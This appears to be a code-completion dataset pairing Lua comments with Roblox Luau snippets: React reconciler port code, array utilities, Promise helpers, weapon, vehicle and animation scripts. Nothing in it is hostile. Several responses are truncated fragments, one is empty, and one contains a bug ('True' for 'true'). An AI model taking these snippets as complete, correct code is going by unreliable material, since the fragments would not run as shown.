Prompt: -- ROBLOX deviation: Lua's patterns work slightly differently than regexes

Response:
local BEFORE_SLASH_PATTERN = "^(.*)[\\/]"

function describeComponentFrame(
	name: string | nil,
	source: Source | nil,
	ownerName: string | nil
): string
	local sourceInfo = ""

	if _G.__DEV__ and source then
		local path = source.fileName
		local fileName = string.gsub(path, BEFORE_SLASH_PATTERN, "")

		-- // In DEV, include code for a common special case:
		-- // prefer "folder/index.js" instead of just "index.js".
		-- ROBLOX deviation: instead of having a special case for 'index.',
		-- we use 'init.'
		if string.match(fileName, "^init%.") then
			-- deviation: finding matching strings works differently in Lua
			local pathBeforeSlash = string.match(path, BEFORE_SLASH_PATTERN)

			if pathBeforeSlash and #pathBeforeSlash ~= 0 then
				local folderName = string.gsub(pathBeforeSlash, BEFORE_SLASH_PATTERN, "")
				fileName = folderName .. "/" .. fileName
			end
		end

		sourceInfo = " (at " .. fileName .. ":" .. source.lineNumber .. ")"
	elseif ownerName then
		sourceInfo = " (created by " .. ownerName .. ")"
	end

	return "\n    in " .. (name or "Unknown") .. sourceInfo
end

local function describeClassComponentFrame(
	-- ROBLOX deviation: React.Component<any>
	ctor: any,
	source: nil | Source,
	-- ROBLOX deviation: this could be a class component OR a function component
	owner: nil | ReactComponent<any>
): string
	-- ROBLOX deviation START: In Roact, class components are tables, so we
	-- jump directly to using the basic component description.

	-- if enableComponentStackLocations then
	-- 	return describeNativeComponentFrame(componentClass, true)
	-- else
	-- 	return describeFunctionComponentFrame(ctor, source, ownerFn);
	-- end
	local name = tostring(ctor)
	local ownerName = nil
	if _G.__DEV__ and owner then
		ownerName = describeOwner(owner)
	end
	return describeComponentFrame(name, source, ownerName)
	-- ROBLOX deviation END
end

function describeFunctionComponentFrame(
	-- ROBLOX TODO: this annotation is incorrect upstream, we fix it here
	fn: nil | Function,
	source: nil | Source,
	-- ROBLOX deviation: this could be a class component OR a function component
	ownerFn: nil | ReactComponent<any>
): string
	-- ROBLOX DEVIATION Jump directly to using basic component description:
	-- if enableComponentStackLocations then
	-- 	return describeNativeComponentFrame(fn, false)
	-- else
	-- 	if not fn then
	-- 		return ""
	-- 	end
	-- 	-- ROBLOX deviation: use debug.info to discover function names
	-- 	local name = debug.info(fn :: Function, "n")
	-- 	local ownerName = nil
	-- 	if _G.__DEV__ and ownerFn then
	-- 		-- ROBLOX deviation: owner may be a function or a table
	-- 		ownerName = describeOwner(ownerFn)
	-- 	end
	-- 	return describeComponentFrame(name, source, ownerName)
	-- end
	if not fn then
		return ""
	end
	-- ROBLOX deviation: use debug.info to discover function names
	local name = debug.info(fn :: Function, "n")
	local ownerName = nil
	if _G.__DEV__ and ownerFn then
		-- ROBLOX deviation: owner may be a function or a table
		ownerName = describeOwner(ownerFn)
	end
	return describeComponentFrame(name, source, ownerName)
end


Prompt: --// Aim|Zoom|Sensitivity Customization

Response:
	ZoomSpeed = 0.23; -- The lower the number the slower and smoother the tween
	AimZoom = 40; -- Default zoom
	AimSpeed = 0.24;
	UnaimSpeed = 0.23;
	CycleAimZoom = 30; -- Cycled zoom
	MouseSensitivity = 0.5; -- Number between 0.1 and 1
	SensitivityIncrement = 0.05; -- No touchy


Prompt: --NOTE: We create the rocket once and then clone it when the player fires

Response:
local Rocket = Instance.new('Part') do
	-- Set up the rocket part
	Rocket.Name = 'Rocket'
	Rocket.FormFactor = Enum.FormFactor.Custom --NOTE: This must be done before changing Size
	Rocket.Size = ROCKET_PART_SIZE
	Rocket.CanCollide = false

	-- Add the mesh
	local mesh = Instance.new('SpecialMesh', Rocket)
	mesh.MeshId = MISSILE_MESH_ID
	mesh.Scale = MISSILE_MESH_SCALE

	-- Add fire
	local fire = Instance.new('Fire', Rocket)
	fire.Heat = 5
	fire.Size = 2

	-- Add smoke
	if ROCKET_TRAIL == true then
		local trail = script.TrailEffect.TrailEffect:Clone()
		trail.Enabled = true
		trail.Parent = Rocket
	end

	-- Add a force to counteract gravity
	local bodyForce = Instance.new('BodyForce', Rocket)
	bodyForce.Name = 'Antigravity'
	bodyForce.Force = Vector3.new(0, Rocket:GetMass() * GRAVITY_ACCELERATION, 0)

	-- Clone the sounds and set Boom to PlayOnRemove
	local swooshSoundClone = SwooshSound:Clone()
	swooshSoundClone.Parent = Rocket
	local boomSoundClone = BoomSound:Clone()
	boomSoundClone.PlayOnRemove = true
	boomSoundClone.Parent = Rocket

	-- Attach creator tags to the rocket early on
	local creatorTag = Instance.new('ObjectValue', Rocket)
	creatorTag.Value = MyPlayer
	creatorTag.Name = 'creator' --NOTE: Must be called 'creator' for website stats
	local iconTag = Instance.new('StringValue', creatorTag)
	iconTag.Value = Tool.TextureId
	iconTag.Name = 'icon'

	-- Finally, clone the rocket script and enable it
	local rocketScriptClone = RocketScript:Clone()
	rocketScriptClone.Parent = Rocket
	rocketScriptClone.Disabled = false
end


Prompt:
-- Implements Javascript's `Array.prototype.map` as defined below
-- https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map

Response:
return function<T, U, V>(t: Array<T>, callback: callbackFn<T, U> | callbackFnWithThisArg<T, U, V>, thisArg: V?): Array<U>
	if __DEV__ then
		if typeof(t) ~= "table" then
			error(string.format("Array.map called on %s", typeof(t)))
		end
		if typeof(callback) ~= "function" then
			error("callback is not a function")
		end
	end

	local len = #t
	local A = {}
	local k = 1

	while k <= len do
		local kValue = t[k]

		if kValue ~= nil then
			local mappedValue

			if thisArg ~= nil then
				mappedValue = (callback :: callbackFnWithThisArg<T, U, V>)(thisArg, kValue, k, t)
			else
				mappedValue = (callback :: callbackFn<T, U>)(kValue, k, t)
			end

			A[k] = mappedValue
		end
		k += 1
	end

	return A
end


Prompt:
--[=[
	Attaches an `andThen` handler to this Promise that discards the resolved value and returns the given value from it.

	```lua
		promise:andThenReturn("some", "values")
	```

	This is sugar for

	```lua
		promise:andThen(function()
			return "some", "values"
		end)
	```

	:::caution
	Promises are eager, so if you pass a Promise to `andThenReturn`, it will begin executing before `andThenReturn` is reached in the chain. Likewise, if you pass a Promise created from [[Promise.reject]] into `andThenReturn`, it's possible that this will trigger the unhandled rejection warning. If you need to return a Promise, it's usually best practice to use [[Promise.andThen]].
	:::

	@param ... any -- Values to return from the function
	@return Promise
]=]

Response:
function Promise.prototype:andThenReturn(...)
	local length, values = pack(...)
	return self:_andThen(debug.traceback(nil, 2), function()
		return unpack(values, 1, length)
	end)
end


Prompt: -- Setup animation objects

Response:
function scriptChildModified(child)
	local fileList = animNames[child.Name]
	if (fileList ~= nil) then
		configureAnimationSet(child.Name, fileList)
	end
end

script.ChildAdded:Connect(scriptChildModified)
script.ChildRemoved:Connect(scriptChildModified)

for name, fileList in animNames do
	configureAnimationSet(name, fileList)
end


Prompt: --Got this one on the first try. What a simple edit. x3 ~Bloxmaster998144

Response:
r = game:service("RunService")

local damage = 5

local slash_damage = 10
local lunge_damage = 30

sword = script.Parent.Handle
Tool = script.Parent

local fxToggled = false

local SlashSound = Instance.new("Sound")
SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav"
SlashSound.Parent = sword
SlashSound.Volume = .7

local LungeSound = Instance.new("Sound")
LungeSound.SoundId = "rbxasset://sounds\\swordlunge.wav"
LungeSound.Parent = sword
LungeSound.Volume = .6

local UnsheathSound = Instance.new("Sound")
UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav"
UnsheathSound.Parent = sword
UnsheathSound.Volume = 1

function blow(hit)
	if (hit.Parent == nil) then return end

	local humanoid = hit.Parent:findFirstChild("Humanoid")
	local vCharacter = Tool.Parent
	local vPlayer = game.Players:playerFromCharacter(vCharacter)
	local hum = vCharacter:findFirstChild("Humanoid")
	if humanoid and humanoid ~= hum and hum then
		-- final check, make sure sword is in-hand
		local guygettingsliced = game.Players:GetPlayerFromCharacter(hit.Parent) --OH LOOK, here's an edit
		local right_arm = vCharacter:FindFirstChild("Right Arm")
		if (right_arm) then
			local joint = right_arm:FindFirstChild("RightGrip")
			if (joint and (joint.Part0 == sword or joint.Part1 == sword)) then
				if guygettingsliced then --If he's a player
					--if vPlayer.TeamColor ~= guygettingsliced.TeamColor then
						tagHumanoid(humanoid, vPlayer)
						humanoid:TakeDamage(damage)
						wait(1)
						untagHumanoid(humanoid)
					--end
				else --If he's not a player (AI, shop, etc)
					tagHumanoid(humanoid, vPlayer)
					humanoid:TakeDamage(damage)
					wait(1)
					untagHumanoid(humanoid)
				end
			end
		end


Prompt: --character limbs

Response:
local larm
local rarm
local lleg
local rleg
local head
local torso
local hrp


Prompt:
--!strict
--[=[
  @function toArray
  @within Set

  @param set { [T]: boolean } -- The set to convert to an array.
  @return {T} -- The array.

  Converts a set to an array.

  ```lua
  local set = { hello = true, world = true }

  local array = ToArray(set) -- { "hello", "world" }
  ```
]=]

Response:
local function toArray<T>(set: { [T]: boolean }): { T }
	local result = {}

	for key, _ in pairs(set) do
		table.insert(result, key)
	end

	return result
end

return toArray


Prompt:
--[=[
	@function shuffle
	@within Array

	@param array {T} -- The array to shuffle.
	@return {T} -- The shuffled array.

	Randomises the order of the items in an array.

	```lua
	local array = { 1, 2, 3 }

	local new = Shuffle(array) -- { 2, 3, 1 }
	```
]=]

Response:
local function shuffle<T>(array: { T }): { T }
	local random = Random.new(os.time() * #array)
	local result = Copy(array)

	for index = #result, 1, -1 do
		local randomIndex = random:NextInteger(1, index)
		local temp = result[index]

		result[index] = result[randomIndex]
		result[randomIndex] = temp
	end

	return result
end

return shuffle


Prompt: --on

Response:
script.Parent.Lid.Transparency = 0
wait(1/27)
script.Parent.Lid.Transparency = 0.2
wait(1/27)
script.Parent.Lid.Transparency = 0.4
wait(1/27)
script.Parent.Lid.Transparency = 0.6
wait(1/27)
script.Parent.Lid.Transparency = 0.8
wait(1/27)
script.Parent.Lid.Transparency = 1

else

on = false


Prompt:
-- deviation: Ignore enableComponentStackLocations
-- local ReactFeatureFlags = require(script.Parent.ReactFeatureFlags)
-- local enableComponentStackLocations = ReactFeatureFlags.enableComponentStackLocations

Response:
local ReactSymbols = require(script.Parent.ReactSymbols)
local REACT_SUSPENSE_TYPE = ReactSymbols.REACT_SUSPENSE_TYPE
local REACT_SUSPENSE_LIST_TYPE = ReactSymbols.REACT_SUSPENSE_LIST_TYPE
local REACT_FORWARD_REF_TYPE = ReactSymbols.REACT_FORWARD_REF_TYPE
local REACT_MEMO_TYPE = ReactSymbols.REACT_MEMO_TYPE
local REACT_BLOCK_TYPE = ReactSymbols.REACT_BLOCK_TYPE
local REACT_LAZY_TYPE = ReactSymbols.REACT_LAZY_TYPE

local ConsolePatchingDev = require(script.Parent["ConsolePatchingDev.roblox"])
local disableLogs = ConsolePatchingDev.disableLogs
local reenableLogs = ConsolePatchingDev.reenableLogs

local ReactSharedInternals = require(script.Parent.ReactSharedInternals)
local ReactCurrentDispatcher = ReactSharedInternals.ReactCurrentDispatcher


Prompt: --Stop animation if...--

Response:
Humanoid.Changed:connect(function()
	if Humanoid.Jump and RAnimation.IsPlaying then
		RAnimation:Stop()
	end
end)


Prompt: --------------------[ STANCE FUNCTIONS ]----------------------------------------------

Response:
function Stand(OnDeselected)
	local LHip = Torso["Left Hip"]
	local RHip = Torso["Right Hip"]
	local Root = HRP.RootJoint
	Stance = 0
	if S.StanceAnimation and (not OnDeselected) then
		spawn(function()
			local PreviousOffset = Humanoid.CameraOffset
			local PreviousRootP = Root.C0.p
			for X = 0, 90, 1.5 / S.StanceChangeSpeed do
				if Stance ~= 0 then break end
				local Alpha = Sine(X)
				Humanoid.CameraOffset = PreviousOffset:lerp(StanceOffset[1], Alpha)
				Root.C0 = CF(PreviousRootP:lerp(VEC3(), Alpha)) * CFANG(RAD(-90), 0, RAD(180))
				RS:wait()
			end
		end)
		TweenJoint(ABWeld, CF(), CF(), Sine, S.StanceChangeSpeed)
		TweenJoint(LHip, CF(-1, -1, 0) * CFANG(0, RAD(-90), 0), CF(-0.5, 1, 0) * CFANG(0, RAD(-90), 0), Sine, S.StanceChangeSpeed)
		TweenJoint(RHip, CF(1, -1, 0) * CFANG(RAD(-180), RAD(90), 0), CF(0.5, 1, 0) * CFANG(RAD(-180), RAD(90), 0), Sine, S.StanceChangeSpeed)
	elseif OnDeselected then
		Humanoid.CameraOffset = StanceOffset[1]
		ABWeld.C0 = CF()
		ABWeld.C1 = CF()
		LHip.C0 = CF(-1, -1, 0) * CFANG(0, RAD(-90), 0)
		LHip.C1 = CF(-0.5, 1, 0) * CFANG(0, RAD(-90), 0)
		RHip.C0 = CF(1, -1, 0) * CFANG(RAD(-180), RAD(90), 0)
		RHip.C1 = CF(0.5, 1, 0) * CFANG(RAD(-180), RAD(90), 0)
		Root.C0 = CFANG(RAD(-90), 0, RAD(180))
	end
end

function Crouch()
	local LHip = Torso["Left Hip"]
	local RHip = Torso["Right Hip"]
	local Root = HRP.RootJoint
	Stance = 1
	if S.StanceAnimation then
		spawn(function()
			local PreviousOffset = Humanoid.CameraOffset
			local PreviousRootP = Root.C0.p
			for X = 0, 90, 1.5 / S.StanceChangeSpeed do
				if Stance ~= 1 then break end
				local Alpha = Sine(X)
				Humanoid.CameraOffset = PreviousOffset:lerp(StanceOffset[2], Alpha)
				Root.C0 = CF(PreviousRootP:lerp(VEC3(0, -1, 0), Alpha)) * CFANG(RAD(-90), 0, RAD(180))
				RS:wait()
			end
		end)
		TweenJoint(ABWeld, CF(0, 0, -1 / 16), CF(), Sine, S.StanceChangeSpeed)
		TweenJoint(LHip, CF(-1, -0.5, 0) * CFANG(0, RAD(-90), 0), CF(-0.5, 0.5, 1) * CFANG(0, RAD(-90), RAD(-90)), Sine, S.StanceChangeSpeed)
		TweenJoint(RHip, CF(1, -0.5, 0.25) * CFANG(RAD(-180), RAD(90), 0), CF(0.5, 0.5, 1) * CFANG(RAD(-180), RAD(90), 0), Sine, S.StanceChangeSpeed)
	else
		Humanoid.CameraOffset = StanceOffset[2]
		ABWeld.C0 = CF(0, 0, -1 / 16)
		ABWeld.C1 = CF()
		LHip.C0 = CF(-1, -0.5, 0) * CFANG(0, RAD(-90), 0)
		LHip.C1 = CF(-0.5, 0.5, 1) * CFANG(0, RAD(-90), RAD(-90))
		RHip.C0 = CF(1, -0.5, 0.25) * CFANG(RAD(-180), RAD(90), 0)
		RHip.C1 = CF(0.5, 0.5, 1) * CFANG(RAD(-180), RAD(90), 0)
		Root.C0 = CF(0, -1, 0) * CFANG(RAD(-90), 0, RAD(180))
	end
end

function Prone()
	local LHip = Torso["Left Hip"]
	local RHip = Torso["Right Hip"]
	local Root = HRP.RootJoint
	Stance = 2
	if S.StanceAnimation then
		spawn(function()
			local PreviousOffset = Humanoid.CameraOffset
			local PreviousRootP = Root.C0.p
			for X = 0, 90, 1.5 / S.StanceChangeSpeed do
				if Stance ~= 2 then break end
				local Alpha = Sine(X)
				Humanoid.CameraOffset = PreviousOffset:lerp(StanceOffset[3], Alpha)
				Root.C0 = CF(PreviousRootP:lerp(VEC3(0, -2.5, 1), Alpha)) * CFANG(RAD(180), 0, RAD(180))
				RS:wait()
			end
		end)
		TweenJoint(ABWeld, CF(0, 0, -1 / 8), CF(), Sine, S.StanceChangeSpeed)
		TweenJoint(LHip, CF(-1, -1, 0) * CFANG(0, RAD(-90), 0), CF(-0.5, 1, 0) * CFANG(0, RAD(-90), 0), Sine, S.StanceChangeSpeed)
		TweenJoint(RHip, CF(1, -1, 0) * CFANG(RAD(-180), RAD(90), 0), CF(0.5, 1, 0) * CFANG(RAD(-180), RAD(90), 0), Sine, S.StanceChangeSpeed)
	else
		Humanoid.CameraOffset = StanceOffset[3]
		ABWeld.C0 = CF(0, 0, -1 / 8)
		ABWeld.C1 = CF()
		LHip.C0 = CF(-1, -1, 0) * CFANG(0, RAD(-90), 0)
		LHip.C1 = CF(-0.5, 1, 0) * CFANG(0, RAD(-90), 0)
		RHip.C0 = CF(1, -1, 0) * CFANG(RAD(-180), RAD(90), 0)
		RHip.C1 = CF(0.5, 1, 0) * CFANG(RAD(-180), RAD(90), 0)
		Root.C0 = CF(0, -2.5, 1) * CFANG(RAD(180), 0, RAD(180))
	end
end

function Dive(Speed)
	local DiveVelocity = (HRP.CFrame * CFANG(RAD(18),0,0)).lookVector * Speed * (35 / 16) * 4e3
	HRP.Velocity = VEC3()
	Torso.Velocity = VEC3()
	local BF = Instance.new("BodyForce")
	BF.force = DiveVelocity
	BF.Parent = HRP
	delay(0.05, function()
		Prone()
		local Start = tick()
		while true do
			wait()
			if (tick() - Start) > 0.1 then break end
			BF.force = -HRP.Velocity * 700
		end
		BF:Destroy()
	end)
end


Prompt:
-- Using the FindPartsInRegion3 API, this regen is "smart" and will NOT regenerate if something is in the way.
-- If something IS in the way, the script will wait for the area to be clear.

Response:
local plane = script.Parent.Plane:clone()
script.Parent.Plane.Cloned.Value,plane.Cloned.Value = true,true
script.Parent.Plane.Origin.Value = script.Parent
local regen = script.Parent.Regen
local active = True
local downtime = 1	-- This is the only thing you should edit in any script in this plane kit. Every other piece of code should be left alone

plane.PrimaryPart = plane.MainParts.Main
local planeSize = plane:GetModelSize()
local planePos = plane:GetModelCFrame().p
local v0 = (planePos-(planeSize/2))
local v1 = (planePos+(planeSize/2))
local region = Region3.new(v0,v1)	-- Creates a 3D space using two Vector3s

local gui = Instance.new("ScreenGui")
gui.Name = "RegenGui"
local f = Instance.new("Frame",gui)
f.Name = "Message"
f.Style = Enum.FrameStyle.RobloxRound
f.Position = UDim2.new(0.5,-150,0.25,-15)
f.Size = UDim2.new(0,300,0,30)
local t = Instance.new("TextLabel",f)
t.Name = "Msg"
t.Text = "Awaiting area to be clear for regeneration to continue"
t.TextColor3 = Color3.new(1,1,1)
t.Font = Enum.Font.ArialBold
t.FontSize = Enum.FontSize.Size12
t.Position = UDim2.new(0.5,0,0.5,0)

function getPassengers(pln)	-- Checks for other players in seats on the plane. If no one is on board, the plane will be marked as "inactive" and removed
	local plrs = {}
	local function scan(parent)
		for _,v in pairs(parent:GetChildren()) do
			if ((v:IsA("Seat")) or (v:IsA("VehicleSeat"))) then
				if ((v:findFirstChild("SeatWeld")) and (v.SeatWeld.Part1)) then
					local plr = game.Players:GetPlayerFromCharacter(v.SeatWeld.Part1.Parent)
					if (plr) then table.insert(plrs,plr) end
				end
			end
			scan(v)
		end
	end
	scan(pln)
	return plrs
end

function deleteInactivePlanes()
	for _,v in pairs(script.Parent:GetChildren()) do
		if (v.Name == plane.Name) then
			local passengers = getPassengers(v)
			if (#passengers == 0) then
				v:remove()
			end
		end
	end
end

function regionIsClear()
	local parts = game.Workspace:findPartsInRegion3(region,regen,100)
	return (#parts == 0)
end

function regenMain()
	local p = plane:clone()
	p.Parent = script.Parent
	p:MakeJoints()
end

regen.Touched:connect(function(obj)
	if (active) then return end
	local plr = game.Players:GetPlayerFromCharacter(obj.Parent)
	if (not plr) then return end
	active = true
	deleteInactivePlanes()
	for i = 0,0.5,0.1 do
		regen.Transparency = i
		wait()
	end
	regen.Transparency = 0.5
	while (not regionIsClear()) do
		wait(0.5)
		if ((plr) and (plr.Parent) and (plr:findFirstChild("PlayerGui"))) then
			gui.Parent = plr.PlayerGui
		end
	end
	gui.Parent = nil
	regenMain()
	wait(downtime)
	for i = 0.5,0,-0.1 do
		regen.Transparency = i
		wait()
	end
	regen.Transparency = 0
	active = false
end)


Prompt:
--[[
ExplorerButton.MouseButton1Up:connect(function()
	switchWindows("Explorer")
end)

SettingsButton.MouseButton1Up:connect(function()
	switchWindows("Settings")
end)
--]]

Response:
for i,v in pairs(SlideFrame:GetChildren()) do
	if not blackList[v.Name] then
		v.MouseButton1Click:connect(function()
			switchWindows(v.Name)
		end)

		v.MouseEnter:connect(function()v.BackgroundTransparency = 0.5 end)
		v.MouseLeave:connect(function()if CurrentWindow~=v.Name then v.BackgroundTransparency = 1 end end)
	end
end


Prompt: -- Device check

Response:
local IS_CONSOLE = GuiService:IsTenFootInterface()
local IS_MOBILE = UserInputService.TouchEnabled and not UserInputService.MouseEnabled and not IS_CONSOLE


Prompt: --Primary move function

Response:
local function move(self)
	if self._waypoints[self._currentWaypoint].Action == Enum.PathWaypointAction.Jump then
		setJumpState(self)
	end
	self._humanoid:MoveTo(self._waypoints[self._currentWaypoint].Position)
end


Prompt: -- For those who prefer distinct functions

Response:
function ControlModule:Disable()
	if self.activeController then
		self.activeController:Enable(false)

		if self.moveFunction then
			self.moveFunction(Players.LocalPlayer, Vector3.new(0,0,0), true)
		end
	end
end


Prompt: --Returns a ModuleScript.

Response:
function Resources:GetResource(Name)
	return script:WaitForChild(Name)
end

return Resources


Prompt:
--[[
	Restricts the reading of missing members for a table.
]]

Response:
local Package = script.Parent.Parent
local logError = require(Package.Logging.logError)

type table = {[any]: any}

local function restrictRead(tableName: string, strictTable: table): table
	-- FIXME: Typed Luau doesn't recognise this correctly yet
	local metatable = getmetatable(strictTable :: any)

	if metatable == nil then
		metatable = {}
		setmetatable(strictTable, metatable)
	end

	function metatable:__index(memberName)
		logError("strictReadError", nil, tostring(memberName), tableName)
	end

	return strictTable
end

return restrictRead


Prompt: ---[[ Misc Settings ]]

Response:
module.WhisperCommandAutoCompletePlayerNames = true

local ChangedEvent = Instance.new("BindableEvent")

local proxyTable = setmetatable({},
{
	__index = function(tbl, index)
		return module[index]
	end,
	__newindex = function(tbl, index, value)
		module[index] = value
		ChangedEvent:Fire(index, value)
	end,
})

rawset(proxyTable, "SettingsChanged", ChangedEvent.Event)

return proxyTable


Prompt:
-- upstream: https://github.com/facebook/react/blob/c5d2fc7127654e43de59fff865b74765a103c4a5/packages/react-reconciler/src/ReactFiberHostConfigWithNoPersistence.js
--[[*
 * Copyright (c) Facebook, Inc. and its affiliates.
 *
 * This source code is licensed under the MIT license found in the
 * LICENSE file in the root directory of this source tree.
 *
 * @flow
]]

Response: local invariant = require(script.Parent.Parent.invariant)


Prompt: --[[Susupension]]

Response:
	Tune.SusEnabled		= true		-- works only in with PGSPhysicsSolverEnabled, defaults to false when PGS is disabled

	--Front Suspension
	Tune.FSusDamping	= 400		-- Spring Dampening
	Tune.FSusStiffness	= 17000		-- Spring Force
	Tune.FSusLength		= .8		-- Resting Suspension length (in studs)
	Tune.FSusMaxExt		= .15		-- Max Extension Travel (in studs)
	Tune.FSusMaxComp	= .1		-- Max Compression Travel (in studs)
	Tune.FSusAngle		= 75		-- Suspension Angle (degrees from horizontal)

	Tune.FWsBoneLen		= 6			-- Wishbone Length
	Tune.FWsBoneAngle	= 3			-- Wishbone angle (degrees from horizontal)
	Tune.FAnchorOffset	= {			-- Suspension anchor point offset (relative to center of wheel)
	 --[[Lateral]]		-.4		,	-- positive = outward
	 --[[Vertical]]		-.5		,	-- positive = upward
	 --[[Forward]]		0		}	-- positive = forward

	--Rear Suspension
	Tune.RSusDamping	= 400		-- Spring Dampening
	Tune.RSusStiffness	= 17000		-- Spring Force
	Tune.RSusLength		= .8		-- Resting Suspension length (in studs)
	Tune.RSusMaxExt		= .15		-- Max Extension Travel (in studs)
	Tune.RSusMaxComp	= .1		-- Max Compression Travel (in studs)
	Tune.RSusAngle		= 80		-- Suspension Angle (degrees from horizontal)

	Tune.RWsBoneLen		= 5			-- Wishbone Length
	Tune.RWsBoneAngle	= 2			-- Wishbone angle (degrees from horizontal)
	Tune.RAnchorOffset	= {			-- Suspension anchor point offset (relative to center of wheel)
	 --[[Lateral]]		-.4		,	-- positive = outward
	 --[[Vertical]]		-.5		,	-- positive = upward
	 --[[Forward]]		0		}	-- positive = forward

	--Aesthetics
	Tune.SusVisible		= false			-- Spring Visible
	Tune.WsBVisible		= false			-- Wishbone Visible
	Tune.SusRadius		= .2			-- Suspension Coil Radius
	Tune.SusThickness	= .1			-- Suspension Coil Thickness
	Tune.SusColor		= "Really red"		-- Suspension Color [BrickColor]
	Tune.SusCoilCount	= 8				-- Suspension Coil Count
	Tune.WsColor		= "Black"		-- Wishbone Color [BrickColor]
	Tune.WsThickness	= .1			-- Wishbone Rod Thickness


Prompt: -- Set the "AngularVelocity" property on all of the CylindricalConstraint motors

Response:
local function setMotorVelocity(vel)
	motorFL.AngularVelocity = vel
	motorBL.AngularVelocity = vel
	-- Motors on the right side are facing the opposite direction, so negative velocity must be used
	motorFR.AngularVelocity = -vel
	motorBR.AngularVelocity = -vel
end


Prompt: ---[[ Fade Out and In Settings ]]

Response:
module.ChatWindowBackgroundFadeOutTime = 3.5 --Chat background will fade out after this many seconds.
module.ChatWindowTextFadeOutTime = 30				--Chat text will fade out after this many seconds.
module.ChatDefaultFadeDuration = 0.8
module.ChatShouldFadeInFromNewInformation = false
module.ChatAnimationFPS = 20.0


Prompt:
--!strict
--[=[
	@function removeIndices
	@within Array

	@param array {T} -- The array to remove the indices from.
	@param ... ...number -- The indices to remove the values from (can be negative).
	@return {T} -- The array with the values removed.

	Removes values from an array at the given indices.

	```lua
	local array = { 1, 2, 3 }

	local new = RemoveIndices(array, 1, 2) -- { 3 }
	local new = RemoveIndices(array, 0, -1) -- { 1 }
	```
]=]

Response:
local function removeIndices<T>(array: { T }, ...: number): { T }
	local length = #array
	local indices = {}
	local result = {}

	for _, index in ipairs({ ... }) do
		if index < 1 then
			index += length
		end

		indices[index] = true
	end

	for index, value in ipairs(array) do
		if not indices[index] then
			table.insert(result, value)
		end
	end

	return result
end

return removeIndices


Prompt: -- Allowed locations in the hierarchy (descendants of which are authorized)

Response: Security.AllowedLocations = { Workspace };


Prompt:
--[[**
	ensures Roblox CFrame type

	@param value The value to check against

	@returns True iff the condition is satisfied, false otherwise
**--]]

Response: t.CFrame = primitive("CFrame")


Prompt: -- Connect events for player interaction

Response:
Tool.Equipped:connect(function()
	local Character, Player = GetCharacter(Tool)

	if Character then
		-- Connect events to recalculate gravity when hats are added or removed. Of course, this is not a perfect solution,
		-- as connected parts are not necessarily part of the character, but ROBLOX has no API to handle the changing of joints, and
		-- scanning the whole game for potential joints is really not worth the efficiency cost.
		GravityMaid.DescendantAddedConnection = Character.DescendantAdded:connect(function()
			UpdateGravityEffect(Character)
		end)

		GravityMaid.DecendantRemovingConnection = Character.DescendantRemoving:connect(function()
			UpdateGravityEffect(Character)
		end)

		UpdateGravityEffect(Character)
		-- Add in the force
		AntiGravityForce.Parent = Handle
	else
		warn("[GravityCoil] - Somehow inexplicity failed to retrieve character")
	end
end)

Tool.Unequipped:connect(function()
	-- Remove force and clean up events
	AntiGravityForce.Parent = nil
	GravityMaid:DoCleaning()
end)


Prompt: --// Declarables

Response:
local L_15_ = false

local L_16_ = false
local L_17_ = true

local L_18_ = L_1_:WaitForChild('Resource')
local L_19_ = L_18_:WaitForChild('FX')
local L_20_ = L_18_:WaitForChild('Events')
local L_21_ = L_18_:WaitForChild('HUD')
local L_22_ = L_18_:WaitForChild('Modules')
local L_23_ = L_18_:WaitForChild('SettingsModule')
local L_24_ = require(L_23_:WaitForChild("ClientConfig"))
local L_25_ = L_18_:WaitForChild('Vars')

local L_26_
local L_27_
local L_28_
local L_29_
local L_30_
local L_31_
local L_32_
local L_33_
local L_34_
local L_35_
local L_36_
local L_37_
local L_38_
local L_39_
local L_40_
local L_41_

local L_42_

local L_43_
local L_44_
local L_45_
local L_46_
local L_47_
local L_48_
local L_49_

local L_50_ = L_24_.AimZoom

local L_51_ = L_24_.MouseSensitivity
local L_52_ = L_12_.MouseDeltaSensitivity


Prompt: --// Dev Vars

Response:
	CameraGo = true; -- No touchy
	FirstPersonOnly = false; -- SET THIS TO FALSE TO ENABLE THIRD PERSON, TRUE FOR FIRST PERSON ONLY
	TPSMouseIcon = 1415957732; -- Image used as the third person reticle


Prompt: --- RUNTIME ---

Response:
player.CharacterAdded:Connect(character_added)

print(player.Name,script.Name,"loaded.")


Prompt:
--[[
RunService:BindToRenderStep("AdjustCamera", Enum.RenderPriority.Last.Value, function()
	local head = script.Parent:FindFirstChild("Head")
	local cam = workspace.CurrentCamera
	cam.CFrame = CFrame.new(head.Position) * cam.CFrame.Rotation * CFrame.new(0,0,1)
end)
]]


Prompt:
-------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------
-- STATE CHANGE HANDLERS

Response:
function onRunning(speed)
	local movedDuringEmote =
		userEmoteToRunThresholdChange and currentlyPlayingEmote and Humanoid.MoveDirection == Vector3.new(0, 0, 0)
	local speedThreshold = movedDuringEmote and Humanoid.WalkSpeed or 0.75
	if speed > speedThreshold then
		local scale = 16.0
		playAnimation("walk", 0.2, Humanoid)
		setAnimationSpeed(speed / scale)
		pose = "Running"
	else
		if emoteNames[currentAnim] == nil and not currentlyPlayingEmote then
			playAnimation("idle", 0.2, Humanoid)
			pose = "Standing"
		end
	end
end

function onDied()
	pose = "Dead"
end

function onJumping()
	playAnimation("jump", 0.1, Humanoid)
	jumpAnimTime = jumpAnimDuration
	pose = "Jumping"
end

function onClimbing(speed)
	local scale = 5.0
	playAnimation("climb", 0.1, Humanoid)
	setAnimationSpeed(speed / scale)
	pose = "Climbing"
end

function onGettingUp()
	pose = "GettingUp"
end

function onFreeFall()
	if (jumpAnimTime <= 0) then
		playAnimation("fall", fallTransitionTime, Humanoid)
	end
	pose = "FreeFall"
end

function onFallingDown()
	pose = "FallingDown"
end

function onSeated()
	pose = "Seated"
end

function onPlatformStanding()
	pose = "PlatformStanding"
end


Prompt: --		print("Wha " .. pose)

Response:
		stopAllAnimations()
		amplitude = 0.1
		frequency = 1
		setAngles = true
	end

	if (setAngles) then
		local desiredAngle = amplitude * math.sin(time * frequency)

		RightShoulder:SetDesiredAngle(desiredAngle + climbFudge)
		LeftShoulder:SetDesiredAngle(desiredAngle - climbFudge)
		RightHip:SetDesiredAngle(-desiredAngle)
		LeftHip:SetDesiredAngle(-desiredAngle)
	end
end


Prompt:
-- This function produces a folder under a specified parent.
-- "soundProperties" is a table determining what the default properties of these audios will be.

Response:
